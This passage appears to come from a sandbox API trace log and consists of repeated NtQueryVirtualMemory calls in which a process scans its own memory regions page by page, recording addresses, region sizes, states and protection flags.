AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x17000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x73000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x73000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x16000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x74000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x74000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x15000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x75000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x75000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x14000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x76000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x76000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x13000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x77000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x77000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x12000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x78000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x11000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x79000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x79000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x10000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.347] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x7f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x80000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x81000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x82000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x83000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x84000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.348] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x91000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x92000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xfa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x93000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x93000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x94000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x95000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x95000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x96000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x96000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x97000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x97000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x98000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x98000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x99000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9a000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9b000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9c000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9d000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xef000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.349] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9e000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xee000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x9f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xed000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xec000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xeb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xea000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xa9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xaa000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xab000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xac000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xad000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xae000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xde000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xaf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.350] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xda000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xb9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: 